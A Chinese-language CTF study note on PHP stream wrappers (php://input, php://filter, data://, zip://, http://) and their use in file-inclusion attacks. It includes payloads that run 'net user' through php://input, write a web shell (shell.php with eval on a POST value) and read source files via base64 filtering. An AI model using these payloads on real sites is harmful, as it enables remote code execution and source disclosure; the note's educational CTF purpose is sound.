PHP内置协议/封装协议/伪协议
PHP带有很多内置URL风格的封装协议,这类协议与fopen()、copy()、file_exists()、filesize()等文件系统函数所提供的功能类似;可结合文件包含进行漏洞利用
PHP封装协议:
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
php://input——执行PHP代码
php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。 enctype=“multipart/form-data” 的时候 php://input 是无效的。
使用php://input可以执行PHP语句,但使用这条语句时需要注意:php://input受限于allow_url_include选项。也就是说,只有在allow_url_include为On时才可以使用。
构造URL:http://www.xxser.com/index.php?page=php://input
,并且提交数据为:<?php system ('net user');?>
,如果提交<?fputs(fopen("shell.php","w"),"<?php eval($_POST['xxser']);?>")?>
语句,将会在index.php所在的目录下生成shell.php
php://filter——读取源码
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西; 使用不同的参数可以达到不同的目的和效果:
resource=<要过滤的数据流>
指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表>
可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表>
可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表>
任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
主要有一下两个应用:
1、利用base64获得源码
2、通过读写编码实行绕过操作
-
base64获取源码
通常会构造payload:‘php://filter/read=convert.base64-encode/resource=xxx.php’
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。
php://filter协议,用base64编码的方式来读文件flag.php;这时页面会显示出源文件flag.php经过base64编码后的内容,然后经过base64解码就可以看到flagctf练习题:buuctf web [ACTF2020 新生赛Include]一定要练习,用过之后才会印象深刻
-
通过读写编码执行绕过操作
详解php://filter以及死亡绕过
筛选过滤应用:
1、 字符串过滤器:
string.rot13 对字符串执行ROT13转换 string.toupper转换为大写
string.tolower 转换为小写 string.strip_tags去除html和php标记
2、 转换过滤器:
convert.base64-encode & convert.base64-decode :base64编码/解码
convert.quoted-printable-encode & convert.quoted-printable-decode:将quoted-printable 字符串转换为 8-bit 字符串
3、 压缩过滤器:
zlib.deflate和 zlib.inflate
bzip2.compress和 bzip2.decompress
4、 加密过滤器:
mcrypt.tripledes和mdecrypt.tripledes等
data:// 协议
-
条件:
allow_url_fopen:on
allow_url_include :on -
作用:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
-
用法:
data://text/plain,
data://text/plain;base64
将读取后面base编码字符串后解码的数据作为数据流的输入 -
练习题:buuctf web [ZJCTF 2019]NiZhuanSiWei
zip:// & bzip2:// & zlib:// 协议
- 条件:
allow_url_fopen:off/on
allow_url_include :off/on - 作用:zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。
http:// & https:// 协议
-
条件:
allow_url_fopen:on
allow_url_include :on -
作用:常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。
-
用法:
http://example.com
http://example.com/file.php?var1=val1&var2=val2
http://user:password@example.com
https://example.com
https://example.com/file.php?var1=val1&var2=val2
https://user:password@example.com